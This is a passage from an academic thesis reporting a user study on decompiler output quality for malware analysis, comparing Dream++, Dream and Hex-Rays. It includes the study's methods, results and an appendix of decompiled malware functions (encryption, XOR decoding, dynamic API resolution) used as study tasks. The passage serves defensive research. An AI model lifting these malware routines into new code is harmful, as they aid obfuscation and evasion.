4. String Parsing Malware often receives commands and configuration files from the server.

Thus, it needs to parse these commands to extract parameters and other information from

C&C messages. This task is the injects parsing function from the URLZone malware.

The function examines a string for the occurrence of the first sequence %[A-Z0-9]% and

returns a pointer to start of such a string and its length.

5. Download and Execute A very common function is to download an executable from a C&C

server and later executing it. This can for example be the case for [18]. The task involves

analyzing the update mechanism of the Andromeda malware. The snippet downloads

a file from a remote server and checks if it is a valid PE executable or a Zip archive

containing an executable. In this case the file is saved on disk and executed.

6. Domain Generation Algorithm Malware is often equipped with domain generation algo-

rithms (DGA) to dynamically generate domain names used for C&C (e.g., depending

on seed values such as the current date/time and Twitter trends) [5]. It is a powerful

technique to make botnets more resilient to attacks. The task contains the DGA of the

Simda malware.

The full decompiled malware source code used in our study is presented in Appendix A.

Here, we present the decompiled code from the three decompilers as well as the set of tasks.

5.1.2 Pre-Study

Before conducting our main user study we conducted a small scale pre-study for following

purpose: it is best practice to test user studies in a pre-study to unearth problems with the

task design and the study platform. We also wanted to check whether our cognitive walk-

through and informal interviews had missed any important issues that should be dealt with

before conducting the full study. To plan the study and the appropriate compensation, we

needed estimates on how long each task would take.

Since malware analysis is a highly complex task requiring specialized skills, we recruited

students who had successfully completed our malware boot camp. The malware boot camp is
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a lab course held each semester at our university, in which students are introduced to the field

of malware and binary code analysis. For the pre-study we recruited two of these students.

We conducted the study in our usability lab and used a think-aloud protocol, asking par-

ticipants to vocalize their thought processes and feelings as they performed their tasks. We

chose this protocol to obtain insights into the users’ thought processes, and the barriers and

problems they faced. In the pre-study we only tested Dream
++ and Hex-Rays. The first par-

ticipant got four tasks decompiled with Dream
++ and four decompiled with Hex-Rays and

had to answer questions about the functionality of the code. The second participant got the

inverse selection. Assignment was randomized. After each task, the participants were asked

to provide feedback about the quality of the code they analyzed. Then, they were shown the

output generated by the other decompiler and asked which code they find more readable and

how long they think they would take to analyze that output.

Pre-Study Results

There were only minor bugs with the study platform and the participants understood the task

descriptions without problems. Based on their think aloud feedback, we did not find any open

problems that had not been discovered during the cognitive walkthrough. We also ranked our

tasks based on reported difficulty.

In the main study, we wanted to additionally test Dream implying a smaller number of

task samples since we never show code from different decompilers for the same task. Based

on the pre-study we estimated that the main study should be completed in 3 hours.

Table 5.1 shows an overview of the results and the comments made by the participants.

Task 8 is the task we added to balance the study.

Participant Decompiler Performance Duration Participant Feedback

Task 1: Encryption

P1 Dream
++  12 m 1.1 Dream

++’s output is similar to what I
would write

1.2 I would need 2x more time for Hex-Rays.
P2 Hex-Rays  16 m 1.3 Dream

++’s is shorter and easier to understand.

Task 2: Custom Encoding
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P2 Dream
++  9 m 2.1 It was easy to follow and understand the

code.

2.2 Hex-Rays code is complex and I would take
longer to understand.

P1 Hex-Rays  42 m 2.3 I was confused about the loop condition.

2.4 The code is difficult to understand.

2.5 default variable names makes it more diffi-
cult

2.6 Dream
++: shorter, less variables, loop is

easier to understand

2.7 I would give Dream
++ 8/10 and Hex-Rays

4/10

Task 3: Resolving API Dynamically

P2 Dream
++  16 m 3.1 Dream

++’s output could be further simpli-
fied.

3.2 For the Hex-Rays output I would need at
least 45 minutes.

3.3 I find the meaningful names assigned by
Dream

++ helpful.
P1 Hex-Rays  23 min 3.4 Hex-Rays has several redundant variables.

Dream
++ output has less variable.

3.5 I find the code in the last loop a spaghetti
code.

Task 4: String Parsing

P1 Dream
++  22 m 4.1 I find the code easy to understand because it

looks like the code I would write when pro-
gramming.

4.2 Dream
++’s output is much better.

4.3 It helped me that the Dream
++ has less vari-

ables.
P2 Hex-Rays # 43 m 4.4 Dream

++’s code has less variables and thus
easier to understand.

4.5 The control flow is easier to understand since
no goto statements.

4.6 It is much easier to follow the control flow in
Dream

++ output.

Task 5: Download and Execute

P2 Dream
++  16 m 5.1 Named constants help.

5.2 No goto spaghetti code.
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P1 Hex-Rays  36 m 5.3 goto statements are confusing: jumping out
of the loop and then back in it.

5.4 Dream
++’s output is easier to understand.

One can simply read the code sequentially
without worrying about these jumps.

5.5 I cannot say how much this will influence the
time I need to solve the task when analyzing
Dream

++’s output.

Task 6: Domain Generation Algorithm

P1 Dream
++  33 m 6.1 The control flow inside the function is easy

to understand

6.2 For the Hex-Rays code, I would need at least
60 minutes (probably 90 minutes). Maybe I
would give up after that.

P2 Hex-Rays G# 36 m 6.3 Code looks very weird.

6.4 I gave up because I do not think I could un-
derstand the code in the loop.

Task 7: Checking OS Version

P1 Hex-Rays  3 m No Comments
P2 Dream

++  7 m No Comments

Task 8: Persistence

P1 Dream
++  2 m No Comments

P2 Hex-Rays  2 m No Comments

Table 5.1: Test User Study. The third column denotes the result of performing the task:  task
is completely solved, G# = task is partially solved, and # = task is not solved. Tasks are ordered
according to difficulty level as shown by the pre-study.

5.1.3 Methodology

We conducted a within-subjects design experiment where participants had to analyze the code

snippets decompiled by the three different decompilers (Dream
++, Dream and Hex-Rays).

To begin with, we provided a detailed explanation of the concept and the procedure to par-

ticipants. Participants were allowed to use the Internet during the study since this mirrors

how analysts actually work. The goal was to remove all aspects not related to the quality of

decompiled code. The tutorial was followed by a training phase to ensure that the participants

were familiar enough with the system to avoid system related mistakes. We provided a sample

code snippet and instructed the participants to rename variables in it and look for information

about a library function online.
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The main user study is almost unchanged from the pre-study. The methodology differs in

the following points. The decompiler names were blinded so as not to bias the participants.

And the study was not conducted in the lab but via our online study platform. This decision

was made for several reasons: Firstly, not all of the students who have completed the malware

bootcamp were still living locally and we wanted to maximise our recruiting pool, since par-

ticipants at this level are very scarce. We also wanted to conduct the study with professional

malware analysts and it is unrealistic to expect them to come to the lab. We decided to conduct

the entire study online, to keep the results comparable.

Variables and Conditions

In our experiment, we have two independent variables:

1. Decompiler Decompiler used to solve a given task and has three conditions: Dream
++,

Dream, and Hex-Rays. Hex-Rays is the leading industry decompiler that is widely used

by malware analysts. Therefore, we compare Dream
++ to Hex-Rays to examine whether

our approach improves the current state of malware analysis. We tested the latest Hex-

Rays version, which is 2.2.0.150413 as of this writing. Also, we compare Dream
++ to

the original Dream decompiler to evaluate the usefulness of the extensions presented in

Chapter 4.

2. Difficulty A within-subjects factor that represents the difficulty of the task. Based on the

results from our pre-study (§5.1.2), we grouped the tasks according to their difficulty into

two groups (medium and hard), each containing three tasks.

Condition Assignment

We chose a within subjects design since personal skill is a strong factor in performance. To

avoid learning and fatigue effects in our within-study design, the order in which participants

used decompilers within each difficulty level, but also the difficulty levels were permutated

using the counterbalanced measures design. Figure 5.1 shows the details of our counterbalance

design: Within each difficulty level, there are 6 possibilities to order the three decompilers. The

two difficulty levels are also permutated (red vs. black in the figure). We opted to balance on
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Figure 5.1: Counterbalancing the order of decompiler and difficulty levels. Nodes in each
horizontal sequence represent the tasks performed by one participant. Letters denote the used
decompiler for the task and colors represent task difficulty level: medium (black) or hard (red).

difficulty level instead of task level since this gives us a counterbalance permutations of 12

(3! ∗ 2!) instead of 4320 (3! ∗ 6!). Since we could not hope to recruit 4320 participants we opted

for the compromise of recruiting multiples of 12 participants using all rows of our counter.

Counterbalancing the order of difficulty level doubles the total numbers of possible orderings.

This design ensures that each decompiler and each difficulty level gets the same exposure

across the study and minimizes the overall learning and fatigue effects. This also guarantees

that each participant gets the same number of medium and hard questions for each decompiler.

This is important to control for individual differences between participants and avoid skewing

the results by eliminating the possibility of a skilled and motivated participant performing

all of her tasks using one decompiler, while a less skilled participant performs her tasks with

another decompiler.
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User Perception

After finishing each task, participants are shown a brief questionnaire, where they can score the

quality of the code produced by the decompiler, and a text field for additional feedback. Here,

the participants are able to see the code again. We asked a total of 8 questions, 6 on readability

properties and 2 on trust issues. Similar to the System Usability Score (SUS) (SUS) [14], the

questions are counterbalanced (positive/negative) to minimize the response bias, e.g., "This

code was easily readable" and "It was strenuous to understand what this code did". The full question

set can be found in Table 5.2.

Statement

Strongly

disagree
Disagree Neutral Agree

Strongly

agree

This code was easily readable ◦ ◦ ◦ ◦ ◦
It was strenuous to understand what this
code did

◦ ◦ ◦ ◦ ◦

This code looks similar to the way I would
write code

◦ ◦ ◦ ◦ ◦

It was hard to understand what the variables
mean

◦ ◦ ◦ ◦ ◦

It was pleasant to work with this code ◦ ◦ ◦ ◦ ◦
I am sure that I correctly understood what
this code does

◦ ◦ ◦ ◦ ◦

I trust that the decompiled code is correct ◦ ◦ ◦ ◦ ◦
I would rather analyze the assembly code ◦ ◦ ◦ ◦ ◦

Table 5.2: Questions after each task.

Overall rating. In addition to the questionnaire after each task, at the end of the study, we

asked the participants about an overall rating on a scale from 1 (worst) to 10 (best). During

this step, participants were shown the code snippets for every task and every decompiler side

by side to facilitate the direct comparison. To avoid biasing the participants the decompilers

were named M, P and R.
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Statistical Testing

For all statistical hypothesis testing, we opted for the common significance level of α = 0.05.

To account for multiple testing, all p-values are reported in the Holm-Bonferroni corrected

version [50].

Continuous tests such as time intervals or user-ratings are tested with a Holm-Bonferroni

corrected Mann–Whitney U test (two-tailed). Rather then testing all pairs for the pairwise

comparison, we only perform tests with Dream
++ (Dream

++ vs. Dream and Dream
++ vs.

Hex-Rays). The effect size is reported by mean comparisons and the usage of the common

language effect size method. Categorical contingency comparisons are tested with the two-tailed

Holm-Bonferroni corrected Barnard’s Exact test.

5.2 User Study

In this section, we present our study results: after discussing the demographics of our partici-

pants, we proceed with the code analysis experiment, and then the user perception discussion.

5.2.1 Participants

We sent 36 invitations to students who had completed the malware boot camp at our university

with the aim of getting 24 participants to join for a compensation of 40 Euro. The malware boot

camp is a lab course held each semesters at our university, in which students are introduced

to the field of malware and binary code analysis. The invitation text can be found in the

appendix 5.2.1.

Recruitment Advertisement

Students. To recruit our student participants, we sent the following email:

Subject: Invitation to a Decompiler Study

we would like to invite you to participate in a research study conducted by researchers at

the University of Bonn on the quality of binary code decompilers for malware analysis. The

study evaluates three state-of-the-art industrial and academic decompilers. You will be asked

to complete six reverse engineering tasks. For each task you will get the decompiled code of
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one function from a malware sample and a set of questions regarding its functionality. That is,

you will be analysing high-level C code. The study is not aimed at testing your ability but the

quality of the decompilers.

The study will take you approximately 3 hours and will take place at the University of

Bonn. There will be several dates available to take part in the study. This study is anonymous,

so no personally identifying information will be collected during the study and we will only

report the aggregated results in a scientific publication. In appreciation of your choice to

participate in the project, you will be paid 40 Euro.

Experts. To recruit our expert participants, we sent the following email:

Subject: Invitation to a Decompiler Study

we would like to invite you to participate in a research study conducted by researchers at

the University of Bonn on the quality of binary code decompilers for malware analysis. The

study evaluates three state-of-the-art industrial and academic decompilers. You will be asked

to complete six reverse engineering tasks. For each task you will get the decompiled code of

one function from a malware sample and a set of questions regarding its functionality. The

study is not aimed at testing your ability but the quality of the decompilers.

The study will take you approximately 2 hours. You will be given the URL to our online

study platform and can perform the study remotely. You can take breaks between the tasks,

however the tasks themselves need to be completed uninterrupted. This study is anonymous,

so no personally identifying information will be collected and we will only report the aggre-

gated results in a scientific publication. In appreciation of your choice to participate in the

project, we will pass along your comments to the developers of the decompilers for consider-

ation. Also, you will get free access to an improved decompiler as soon as the decompiler is

released. You will also be helping the malware analysis community.

Questions About Participants’ Demographics

1. Gender?

◦ Male

◦ Female

◦ Prefer not to answer
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2. What is your age? (text field)

3. Employment Status: Are you currently?

◦ Student

◦ Other: (text field)

4. How many years experience do you have in malware analysis? (text field)

5. How many years experience do you have in reverse engineering? (text field)

6. Which binary code decompilers did you use before?

� Boomerang

� Hex-Rays

� REC

� DISC

� Other: (text field)

22 students took part in the study. One student began the study but only completed one

task, so we removed this student from the sample, leaving us with 21 participants. Among

the student group, the median age was 26 years. The oldest participant was 31 years and the

youngest 19 years old. Two participants did not report their age. One of the participants was

female. The median malware analysis experience in years is 1 year. One participant reported

to have 14 years malware analysis experience, 7 participants reported less than a year.

We also invited 31 malware experts from commercial security companies. Based on infor-

mal talks, we were told that offering these experts the same compensation would not motivate

them since time is more valuable than money. However, it was suggested that many would

be intrinsically motivated to help because any improvements made in this domain would ul-

timately benefit them. Based on this feedback, we opted to offer early access to an academic

decompiler for the participants and giving them access to Dream
++ after the study. 16 malware

analysts started the study. However, 5 looked at the first task only without actually starting

the study. In total 9 malware analysts took part in the study. all male with a median age of 30

(2 did not disclose their age and gender).



102 Malware Analysis User Study

Decompiler Avg. Score p-value Pass Fail p-value

Students
Dream

++ 70.24 30 12
Dream 50.83 0.002 16 26 0.002
Hex-Rays 37.86 <0.001 11 31 <0.001

Experts
Dream

++ 84.72 15 3
Dream 79.17 0.234 15 3 0.570
Hex-Rays 61.39 0.086 9 9 0.076

Table 5.3: Aggregated Experiment Results

5.2.2 Malware Analysis Experiment

We assigned a weight to each question according to its importance in understanding the task

and scored all answers. We conducted a two-pass scoring approach for calibration purposes.

Since the answers contained variable names and referred to loop structures it was not possible

to blind this part of the evaluation2. Table 5.3 summarizes the results of the code analysis

experiment. The table shows the average score achieved by each group for each decompiler

and the corresponding number of successful/unsuccessful tasks. Unsurprisingly, professional

analysts performed better than students. In both groups participants performed better when

using Dream
++ compared to both Dream and Hex-Rays. In the student group, our sample

size provides sufficient statistical power to confirm the a statistically significant difference

in scores. Another interesting observation is that in relation experts did much better with

Hex-Rays that the students did, suggesting that they have gotten used to working with code

produced by Hex-Rays. A more detailed information on the results of the students group is

provided in Table 5.4. Here, we show for each task the mean and the corresponding standard

deviation for the score and the time needed for each task for each decompiler. Also, the

number of successful and unsuccessful task are shown.

To get a better feeling for the results, we additionally marked each task as a pass if par-

ticipants scored over 70%. This level was chosen based on our judgment that these tasks had

been answered sufficiently meaning that their results would be useful in a malware analysis

2All data will be released to the community to increase transparency.
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Score Time Result
Decompiler Mean Stdev Median Stdev Pass Fail

Task 1
DREAM++ 45.71% 32.78 8.06 3.01 3 4
DREAM 56.43% 31.02 28.55 10.69 4 3
Hex-Rays 25.71% 36.3 57.42 23.65 2 5

Task 2
DREAM++ 71.88% 28.72 29.88 17.55 6 2
DREAM 61.67% 30.51 29.72 6.68 3 3
Hex-Rays 29.29% 33.85 18.58 0.0 1 6

Task 3
DREAM++ 80.83% 15.92 13.96 4.43 5 1
DREAM 32.5% 26.81 31.6 0.0 1 7
Hex-Rays 30.71% 26.65 26.94 0.0 1 6

Task 4
DREAM++ 74.29% 23.06 31.04 7.31 5 2
DREAM 55.71% 28.71 22.52 3.17 2 5
Hex-Rays 43.57% 27.87 50.34 10.86 2 5

Task 5
DREAM++ 81.25% 11.92 22.85 9.67 7 1
DREAM 80.0% 18.48 27.12 6.32 5 1
Hex-Rays 68.57% 21.99 37.13 15.65 4 3

Task 6
DREAM++ 66.67% 23.92 28.97 5.81 4 2
DREAM 30.0% 20.62 53.63 0.0 1 7
Hex-Rays 29.29% 27.31 44.12 0.0 1 6

Decompiler Mean Stdev Median Stdev Pass Fail

Table 5.4: Detailed study results for all tasks for the students group.

team. Here, the difference between the professional analysts and the students becomes more

apparent. However, in both groups Dream
++ performed better than the competition.

We also measured the time needed to complete the different tasks. We cannot do a sta-

tistical analysis of the time means because of a limited number of samples. Note, that only

successfully completed a task can be considered in that comparison. Unfortunately, many par-

ticipants failed or gave up tasks using Hex-Rays and Dream. Nonetheless, there is a trend for

participants solving tasks faster with Dream
++, but more samples are needed to quantify this

reliably. A detailed overview on task level, including average time spend on a task, can be
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found in Table 5.4. The table shows the detailed study results for the student participants. For

each task, the average score achieved and corresponding standard deviation are shown. Next,

we show average time needed to complete the task and the corresponding standard deviations.

Finally, the number of task that was solved successfully/unsuccessfully are mentioned.

5.2.3 User Perception

To measure user perception, after each task, we asked our participants 8 questions. The full list

of questions can be seen in Table 5.2. Figure 5.2 summarizes the aggregated user perception

results. Here, we distinguish between two groups of questions: usability perception (questions

1-6) and trust perception (questions 7&8). The trust issue is interesting because decompilers

do make mistakes or create misleading code and it is common for malware analysts to fall

back to analyzing assembly code. Thus, we wanted to see whether there were different levels

of trust in the code.

A pairwise comparison between the decompilers shows a high statistical significance differ-

ence: p < 0.001 for usability related questions for experts and students. The trust related ques-

tions showed only a statistically significant difference in comparison to Hex-Rays (p < 0.001

in the student group, p = 0.03 in the expert group). The color coding shows the agreement

level and the percentage numbers on the right and left hand side summarize the percentage of

participants who rated positively and negatively respectively.

Detailed user perception. Figure 5.3 shows the participant agreement with each of the state-

ments in Table 5.2.

Overall rating. As explained in Section 5.1.3, after finishing all tasks, we asked the participant

to provide an overall rating for each decompiler depending on how they evaluate the read-

ability of the decompiled code. This rating is on a scale from 1 (worst) to 10 (best). Figure 5.4

shows a box plot with a rating distribution overview. It can be clearly seen that Dream
++

achieves higher scores than the competition for both, students and experts (adjusted p < 0.001

for all pairwise comparisons). Interestingly, while it can be clearly seen that the experts rated

Hex-Rays better compared to the students, they were also more enthusiastic about Dream
++.

These are very promising results, both groups clearly prefer the code produced by our im-
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Figure 5.2: Aggregated participant agreement with the statements related to usability percep-
tion (6 questions) and trust in correctness (2 questions).

proved decompiler and even though the experts cope well with Hex-Rays they gave Dream
++

outstanding marks.

5.3 Related Work

To the best of our knowledge, we are the first to conduct user studies in the domain of malware

analysis.
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Figure 5.3: Participant agreement with the statements from Table 5.2. The positive statements
are marked in green and the negative statements are marked in gray.

5.4 Summary

In this chapter, we validated our readability improvements with the first user study in the

domain of reverse engineering, involving both students and professional malware analysts.

The results clearly show that our human-focused approach to decompilation offers significant
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improvements, with Dream
++ outperforming both Dream and Hex-Rays. Despite these large

improvements, we believe we have only barely scratched the surface of what can be done in

this highly technical domain. We believe that research community should focus more on the

experts involved in this field. We hope that our user study can serve as a template for similar

studies in malware analysis.
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6
Conclusion and Future Work

6.1 Conclusion

Decompilation provides an attractive method to assist the analysis of the binary code. By

recovering high-level abstractions from the binary code, both manual and automatic security

analyses can be performed on a more abstract high-level representation of the binary code.

This leads to a better efficiency and performance since the analysis can leverage the high-level

abstractions available in the source code. The main focus of this thesis is devise techniques

to improve the readability of the decompiler code to assist human analysis in the analysis of

binary code. To achieve that goal, the thesis introduces the following techniques:

Novel control-flow structuring techniques. We presented a pattern-independent control-flow

structuring algorithm to recover control-flow structure of a program. The algorithm is a depar-

ture from the traditional patter-matching approach of structure analysis. The main feature of

this algorithm is that it produces a fully-structured code, making Dream the first decompiler

that produces a goto-free output.

Usability extensions for better readability. We developed several semantics-preserving code

transformations to improve the readability of the decompiled code. These transformations

leverage the high-level abstractions recovered during previous decompilation steps to simplify

expressions and control-flow structure. Also, by analyzing the context in which variables are

used in the program, they are assigned meaningful names that reveal the purpose of these

variables.

109
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First user study to evaluate decompiler quality. We designed and performed the first user

study to evaluate the quality of decompiler for binary code analysis. Our study included six

tasks from real malware samples. The participants included both students with little experi-

ence with malware analysis and malware experts. The results of our study clearly show that

our human-focused approach to decompilation offers significant improvements over existing

solutions. We hope that this study will serve as a template for user studies for decompilation

research.

6.2 Future Work

While the results of evaluating the methods developed in this thesis are very promising, several

directions for future work exit.

Independence of IDA. Currently, we rely on IDA Pro for code extractions and variable recov-

ery and partially for type analysis. IDA rely on certain assumptions regarding the calling con-

vention of binary functions to detect arguments and local variables. Also, IDA seems to guess

types of variables in many situations. Future work includes replacing IDA with new promising

tools such as angr [80] which has seen active use in the academia recently [85, 79, 65, 67, 90],

radare [70], or REV.NG [35, 36].

Use existing intermediate representations. Several intermediate representations for program

analysis exist. This includes VEX IR from the Valgrind framework and LLVM IR from the

LLVM compiler infrastructure. LLVM IR is particularly interesting due to the existing of a

complete compiler framework that uses this IR. This opens the door to reuse a wealth of

existing compiler optimizations for decompilation. This can be very useful when dealing with

obfuscated code as shown in [69].

Interactive decompilation. Currently, our decompiler only outputs the decompiled code to

the user. An interesting and very useful addition would be to include user input in the de-

compilation process. This interaction enables experts to give hints to the decompiler that can

be used to improve and correct its analyses.

Exploring new applications. Manual binary code analysis has been the primary driving force

behind this work. Exploring other applications is planned for future work. This includes the



Conclusion and Future Work 111

identification of bugs in binary code using source code techniques. This is possible by using

the decompiler to produce a high-level source code upon which the source-based techniques

can be applied.
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A
Code Snippets in the User Study

A.1 Task 1

A.1.1 Hex-Rays

Listing A.1 shows the decompiled code produced by Hex-Rays for the first task. For this task,

the following questions were asked:

1. What are the data types of the parameters and what are their meanings?

2. What is the purpose of this function?

Listing A.1: Decompiled code generated by Hex-Rays for Task 1

1 unsigned int __usercall sub_10001103@<eax>(int a1@<ecx>, unsigned int a2@<edi>)

2 {

3 unsigned int v2; // edx@2

4 unsigned int v3; // eax@4

5 unsigned int result; // eax@6

6 signed int v5; // [sp+8h] [bp-8h]@1

7 unsigned int v6; // [sp+Ch] [bp-4h]@1

8

9 v6 = a2 >> 1;

10 v5 = 4;

11 do

12 {

13 v2 = 0;

14 if ( a2 )

15 {

16 do

17 {

18 *(_BYTE *)(v2 + a1) ^= -106 * (_BYTE)v2;

125
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19 ++v2;

20 }

21 while ( v2 < a2 );

22 }

23 v3 = 0;

24 if ( v6 )

25 {

26 do

27 {

28 *(_BYTE *)(v3 + a1) ^= *(_BYTE *)(((a2 + 1) >> 1) + a1 + v3);

29 ++v3;

30 }

31 while ( v3 < v6 );

32 }

33 for ( result = a2 - 1; result >= 1; --result )

34 *(_BYTE *)(result + a1) -= *(_BYTE *)(result + a1 - 1);

35 --v5;

36 }

37 while ( v5 >= 0 );

38 return result;

39 }

A.1.2 Dream

Listing A.2 shows the decompiled code produced by Dream for the first task. For this task,

the following questions were asked:

1. What are the data types of the parameters and what are their meanings?

2. What is the purpose of this function?

Listing A.2: Decompiled code generated by Dream for Task 1

1 int sub_10001103(int a1, char * a2){

2 int v1 = a1 >> 1;

3 int v2 = 4;

4 int result;

5 do{

6 int v3 = 0;

7 if(a1)

8 do{

9 *(v3 + a2) ^= 150 * v3;

10 v3++;

11 }while(v3 < a1);

12 int v4 = 0;

13 if(v1 > 0)

14 do{
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15 *(v4 + a2) ^= *(((a1 + 1) >> 1) + a2 + v4);

16 v4++;

17 }while(v4 < v1);

18 for(result = a1 - 1; result >= 1; result--)

19 *(result + a2) -= *(result + a2 - 1);

20 v2--;

21 }while(v2 >= 0);

22 return result;

23 }

A.1.3 Dream++

Listing A.3 shows the decompiled code produced by Dream
++ for the first task. For this task,

the following questions were asked:

1. What are the data types of the parameters and what are their meanings?

2. What is the purpose of this function?

Listing A.3: Decompiled code generated by Dream
++ for Task 1

1 int sub_10001103(int a1, char * a2){

2 int result;

3 for(int counter1 = 4; counter1 >= 0; counter1--){

4 for(int i = 0; i < a1; i++)

5 a2[i] ^= 150 * i;

6 for(int i = 0; i < a1 / 2; i++)

7 a2[i] ^= a2[((a1 + 1) / 2) + i];

8 for(result = a1 - 1; result >= 1; result--)

9 a2[result] -= a2[result - 1];

10 }

11 return result;

12 }

A.2 Task 2

A.2.1 Hex-Rays

Listing A.4 shows the decompiled code produced by Hex-Rays for the second task. For this

task, the following questions were asked:

1. What are the data types of the parameters and what are their meanings?
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2. What is the purpose of this function?

3. Asume that a1 points to the array "\x7B\xAE\x7C\xAE\x74\xAE\x7D\xAE\x12\xAE"

(a1[0] = 0x7B, a1[1] = 0xAE, a1[2] = 0x7C, etc.), what will be the values in the buffer

pointed to by a2?

Listing A.4: Decompiled code generated by Hex-Rays for Task 2

1 __int16 __cdecl sub_10001F81(int a1, int a2)

2 {

3 int v2; // ecx@1

4 __int16 result; // ax@2

5 bool v4; // zf@3

6 int v5; // edx@3

7

8 v2 = a1;

9 if ( a1 )

10 {

11 result = *(_WORD *)a1 ^ 0xAE12;

12 v4 = *(_WORD *)a1 == -20974;

13 v5 = a2;

14 for ( *(_WORD *)a2 = result; !v4; *(_WORD *)v5 = result )

15 {

16 v2 += 2;

17 v5 += 2;

18 result = *(_WORD *)v2 ^ 0xAE12;

19 v4 = *(_WORD *)v2 == -20974;

20 }

21 }

22 else

23 {

24 result = 0;

25 *(_WORD *)a2 = 0;

26 }

27 return result;

28 }

A.2.2 Dream

Listing A.5 shows the decompiled code produced by Dream for the second task. For this task,

the following questions were asked:

1. What are the data types of the parameters and what are their meanings?

2. What is the purpose of this function?
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3. Asume that a1 points to the array "\x7B\xAE\x7C\xAE\x74\xAE\x7D\xAE\x12\xAE"

(a1[0] = 0x7B, a1[1] = 0xAE, a1[2] = 0x7C, etc.), what will be the values in the buffer

pointed to by a2?

Listing A.5: Decompiled code generated by Dream for Task 2

1 short sub_10001F81(void * a1, void * a2){

2 short * v1 = a1;

3 if(!a1){

4 *a2 = 0;

5 return 0;

6 }

7 short result = *a1 ^ 0xae12;

8 short * v2 = a2;

9 *a2 = result;

10 if(result)

11 do{

12 v1 += 2;

13 short v3 = *v1;

14 v2 += 2;

15 result = v3 ^ 0xae12;

16 *v2 = result;

17 }while(result);

18 return result;

19 }

A.2.3 Dream++

Listing A.6 shows the decompiled code produced by Dream
++ for the second task. For this

task, the following questions were asked:

1. What are the data types of the parameters and what are their meanings?

2. What is the purpose of this function?

3. Asume that a1 points to the array "\x7B\xAE\x7C\xAE\x74\xAE\x7D\xAE\x12\xAE"

(a1[0] = 0x7B, a1[1] = 0xAE, a1[2] = 0x7C, etc.), what will be the values in the buffer

pointed to by a2?

Listing A.6: Decompiled code generated by Dream
++ for Task 2
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1 short sub_10001F81(short * a1, short * a2){

2 short * v1 = a1;

3 if(a1 == 0){

4 *a2 = 0;

5 return 0;

6 }

7 short result = *a1 ^ 0xAE12;

8 short * v2 = a2;

9 *a2 = result;

10 while(result != 0){

11 v1 += 2;

12 v2 += 2;

13 result = *v1 ^ 0xAE12;

14 *v2 = result;

15 }

16 return result;

17 }

A.3 Task 3

A.3.1 Hex-Rays

Listing A.7 shows the decompiled code produced by Hex-Rays for the third task. For this task,

the following questions were asked:

1. For each iteration of the loop that starts at line 34, variable v7 gets a pointer to a string.

What does the loop between lines 39-45 do?

2. What does the loop between lines 67-87 do?

3. What are the data types of the parameters and what are their meanings?

4. What is the condition under which line 90 will be executed?

Listing A.7: Decompiled code generated by Hex-Rays for Task 3

1 int __usercall sub_408A70@<eax>(int a1@<ebx>, int a2)

2 {

3 int v2; // ebp@1

4 int v3; // esi@1

5 unsigned int v4; // eax@1

6 int v5; // esi@1

7 int v6; // edi@2

8 int v7; // ecx@3
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9 int v8; // edx@5

10 int v9; // eax@7

11 int v10; // edi@10

12 int v11; // esi@11

13 char v12; // al@12

14 int v13; // edx@14

15 int v14; // eax@16

16 bool v15; // cf@24

17 int result; // eax@25

18 int v17; // [sp+Ch] [bp-Ch]@2

19 int v18; // [sp+10h] [bp-8h]@1

20 unsigned int v19; // [sp+14h] [bp-4h]@1

21 int v20; // [sp+1Ch] [bp+4h]@1

22

23 v2 = a2;

24 v3 = *(_DWORD *)(*(_DWORD *)(a2 + 60) + a2 + 120);

25 v4 = *(_DWORD *)(v3 + a2 + 24);

26 v5 = a2 + v3;

27 v18 = v5;

28 v20 = 0;

29 v19 = v4;

30 if ( v4 )

31 {

32 v6 = v2 + *(_DWORD *)(v5 + 32);

33 v17 = v2 + *(_DWORD *)(v5 + 32);

34 while ( 1 )

35 {

36 v7 = v2 + *(_DWORD *)v6;

37 if ( v7 && a1 )

38 {

39 v8 = 0;

40 if ( *(_BYTE *)v7 )

41 {

42 do

43 ++v8;

44 while ( *(_BYTE *)(v8 + v7) );

45 }

46 v9 = 0;

47 if ( *(_BYTE *)a1 )

48 {

49 do

50 ++v9;

51 while ( *(_BYTE *)(v9 + a1) );

52 }

53 if ( v8 == v9 )

54 break;

55 }

56 LABEL_24:

57 v6 += 4;

58 v15 = v20++ + 1 < v19;

59 v17 = v6;

60 if ( !v15 )
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61 goto LABEL_25;

62 }

63 v10 = v8 + v7;

64 if ( v7 < (unsigned int)(v8 + v7) )

65 {

66 v11 = a1 - v7;

67 do

68 {

69 v12 = *(_BYTE *)v7;

70 if ( *(_BYTE *)v7 < 65 || v12 > 90 )

71 v13 = v12;

72 else

73 v13 = v12 + 32;

74 LOBYTE(v14) = *(_BYTE *)(v11 + v7);

75 if ( (char)v14 < 65 || (char)v14 > 90 )

76 v14 = (char)v14;

77 else

78 v14 = (char)v14 + 32;

79 if ( v13 != v14 )

80 {

81 v5 = v18;

82 v6 = v17;

83 goto LABEL_24;

84 }

85 ++v7;

86 }

87 while ( v7 < (unsigned int)v10 );

88 v5 = v18;

89 }

90 result = v2 + *(_DWORD *)(*(_DWORD *)(v5 + 28) + 4 * *(_WORD *)(*(_DWORD *)(v5 + 36) +

2 * v20 + v2) + v2);

91 }

92 else

93 {

94 LABEL_25:

95 result = 0;

96 }

97 return result;

98 }

A.3.2 Dream

Listing A.8 shows the decompiled code produced by Dream for the third task. For this task,

the following questions were asked:

1. For each iteration of the loop that starts at line 12, variable v11 gets a pointer to a string.

What does the loop between lines 21-25 do?
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2. What does the loop between lines 36-53 do?

3. What are the data types of the parameters and what are their meanings?

4. What is the condition under which line 70 will be executed?

Listing A.8: Decompiled code generated by Dream for Task 3

1 int sub_408A70(void * a1, void * a2){

2 void * v1 = a1;

3 int v2 = *(*(a1 + 60) + v1 + 120);

4 int v3 = *(v2 + v1 + 24);

5 void * v4 = v2 + a1;

6 void * v5 = v4;

7 int v6 = 0;

8 if(v3){

9 int v7 = *(v4 + 32);

10 void * v8 = v7 + a1;

11 void * v9 = v7 + a1;

12 while(1){

13 void * v10 = v8;

14 void * v11 = *v10 + a1;

15 bool cond1 = !v11;

16 int v20;

17 bool cond2 = false;

18 int v13;

19 int v12;

20 if(!cond1 && a2){

21 v12 = 0;

22 if(*v11 != v12)

23 do

24 v12++;

25 while(*(v12 + v11));

26 v13 = 0;

27 if(*a2 != v13)

28 do

29 v13++;

30 while(*(v13 + a2));

31 if(v12 == v13){

32 int v14 = v12 + v11;

33 cond2 = v11 >= v14;

34 if(!cond2){

35 int v15 = a2 - v11;

36 do{

37 char v16 = *v11;

38 int v17;

39 if(v16 > 90 || v16 < 65)

40 v17 = v16;

41 else

42 v17 = v16 + 32;
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43 int v19;

44 char v18 = *(v15 + v11);

